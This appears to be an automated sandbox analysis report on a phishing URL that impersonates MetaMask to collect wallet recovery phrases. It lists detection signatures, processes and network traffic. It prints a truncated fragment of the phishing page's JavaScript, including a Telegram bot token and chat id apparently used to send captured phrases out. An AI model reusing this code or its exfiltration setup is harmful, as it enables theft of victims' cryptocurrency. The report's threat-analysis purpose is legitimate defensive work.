Edit tour

Windows Analysis Report
https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari

Overview

General Information

Sample URL:	https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari
Analysis ID:	1636999
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish64

Javascript uses Telegram API

Creates files inside the system directory

Deletes files inside the Windows folder

Javascript checks online IP of machine

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4832 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1960,i,7910549151802583560,15550062184411873436,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.1.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
1.2.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari

Avira URL Cloud: detection malicious, Label: phishing

Phishing

AI detected phishing page

Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html

Joe Sandbox AI: Score: 9 Reasons: The brand 'Metamask' is a known cryptocurrency wallet service., The legitimate domain for Metamask is 'metamask.io'., The provided URL 'pub-160645733abe48e1a173755d32058a26.r2.dev' does not match the legitimate domain., The URL uses a subdomain structure that is not associated with Metamask., The domain 'r2.dev' is not related to Metamask and could be a generic hosting or cloud service., The presence of a field asking for a 'Secret Recovery Phrase' is a common phishing tactic targeting cryptocurrency users. DOM: 1.2.pages.csv

Yara detected HtmlPhish64

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Javascript uses Telegram API

Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html

HTTP Parser: const wordselect = document.getelementbyid("word"); const phraseinput = document.queryselector(".phrase-input"); const preloader = document.queryselector(".preloader"); const count2 = document.queryselector(".count"); const done = document.queryselector(".done-box"); const nodone = document.queryselector(".no-done"); const btnconfirm = document.queryselector(".btn-cofirm"); const errbox = document.queryselector(".errbox"); const eye = document.queryselector(".eye"); const form = document.queryselector(".form-main"); let offwords = ["fuck", "motherfucker", "shit", "fool", "asshole", "test", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "testing", "checking", "robot", "spam", "scam", "fucker", "/", "-", "?", "&", "%", "#", "@", "!", "~", "`", ":", ";", ">", "<", "+", "^", "()", "*", "$"]; let ipinfo = {}; const token = "6913038045:aafwcwdfr0y_ha6ub6hvlair_zcpy6lat34"; const chatid = "566329468...

Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html

Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html	HTTP Parser: No favicon
Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html	HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 2.23.227.208:443 -> 192.168.2.12:49711 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.12:49735 version: TLS 1.2

Source: unknown

HTTPS traffic detected: 2.23.227.208:443 -> 192.168.2.12:49711 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60

Source: global traffic	HTTP traffic detected: GET /03/?id=0EcoCp6Ari HTTP/1.1Host: mr.ahmed-elgamal.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://pub-160645733abe48e1a173755d32058a26.r2.devsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://pub-160645733abe48e1a173755d32058a26.r2.devsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/d2.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/main.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/icon.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/eyeslash.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/prog.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/tad1.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/d2.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/eyeslash.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/prog.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/icon.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://pub-160645733abe48e1a173755d32058a26.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/main.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/tad1.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
